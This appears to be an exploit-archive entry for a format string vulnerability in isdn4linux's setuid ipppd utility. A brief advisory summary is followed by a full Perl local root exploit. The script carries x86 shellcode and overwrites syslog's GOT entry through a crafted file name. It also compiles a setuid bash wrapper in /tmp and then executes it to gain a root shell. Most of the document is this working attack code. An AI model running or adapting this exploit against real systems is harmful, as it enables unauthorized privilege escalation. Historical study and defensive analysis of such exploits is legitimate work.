ISDN4Linux 3.1 IPPPD Device String SysLog Format String Vulnerability (2)

                                                source: http://www.securityfocus.com/bid/5437/info
 
isdn4linux is a freely available, open source package of isdn compatibility tools. It is available for Linux operating systems.
 
isdn4linux contains a format string vulnerability in the ipppd utility. In some installations, this utility is installed with setuid root privileges. Exploitation of this vulnerability could lead to a local attacker executing code with administrative privileges.

#!/usr/bin/perl

# 7350pippi - x86/Linux ipppd local root
#
# (C) COPYRIGHT TESO Security, 2002
# All Rights Reserved
#
# May be used under the terms of the GPL.

# ipppd local root exploit:
# ... 
#    /*
#     * Check if there is a device by this name.
#     */
#    if (stat(cp, &statbuf) < 0) {
#        if (errno == ENOENT)
#            return 0;
#        syslog(LOG_ERR, cp);
#        return -1;
#    }
# ...
# 
# This exploit changes the address of syslog in ipppd's
# GOT. Since it returns -1 as seen above, ipppd will invoke
# syslog() a second time soon this time using the address
# given by us. We redirect the GOT entry to a stacklocation
# where the filename of the executed program is normally
# located. Since we symlink() the shellcode to /usr/sbin/ipppd
# the shellcode goes on the stack AT A FIXED ADDRESS! Thus
# we avoid ugly offsets and guessing/bruteforce.
# If porting this exploits to other systems, you
# need to find syslogs() GOT entry yourself.
#

use Fcntl;

# chown()+chmod() /tmp/boomsh
$shellcode = "\x90"x100 .
"\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb".
"\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31".
"\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80".
"\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd".
"\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f".
"\x6d\x73\x68\x2e";

unlink("/tmp/$shellcode");
symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!";

# my syslog GOT entry @ 0x806c90c

sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!";
print O<<_EOF_;
#include <stdio.h>
int main()
{
        char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL};

        setuid(0);
        execve(*a, a, NULL);
        return -1;
}
_EOF_
close O;

print "Compiling boomshell ...\n";
system("cc /tmp/boomsh.c -o /tmp/boomsh");

$dir = "/tmp/L";
mkdir($dir);

$ret = 0xbffffffb - length($shellcode)+20;
printf("Filename is located @ %x\n", $ret);


# maybe need to change to your GOT entry
# of syslog(); see above
$file = "XX" . 	pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT
		pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1
		pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2
		pack(c4, 0x0f, 0xc9, 0x06, 0x08); 	    # GOT+3
		
$stackpop = "%p"x11;
$file .= $stackpop;

#$file .= "%14d%n%69d%n%40d%n%192d%n";

# Should be fixed. If not, find the 4 values for
# %d yourself using gdb. This worked for me.
$file .= "%221d%n%158d%n%256d%n%192d%n";

open(O, ">$dir/$file") or die "$!";
close O;

system("/tmp/$shellcode", "..$dir/$file/");

exec("/tmp/boomsh");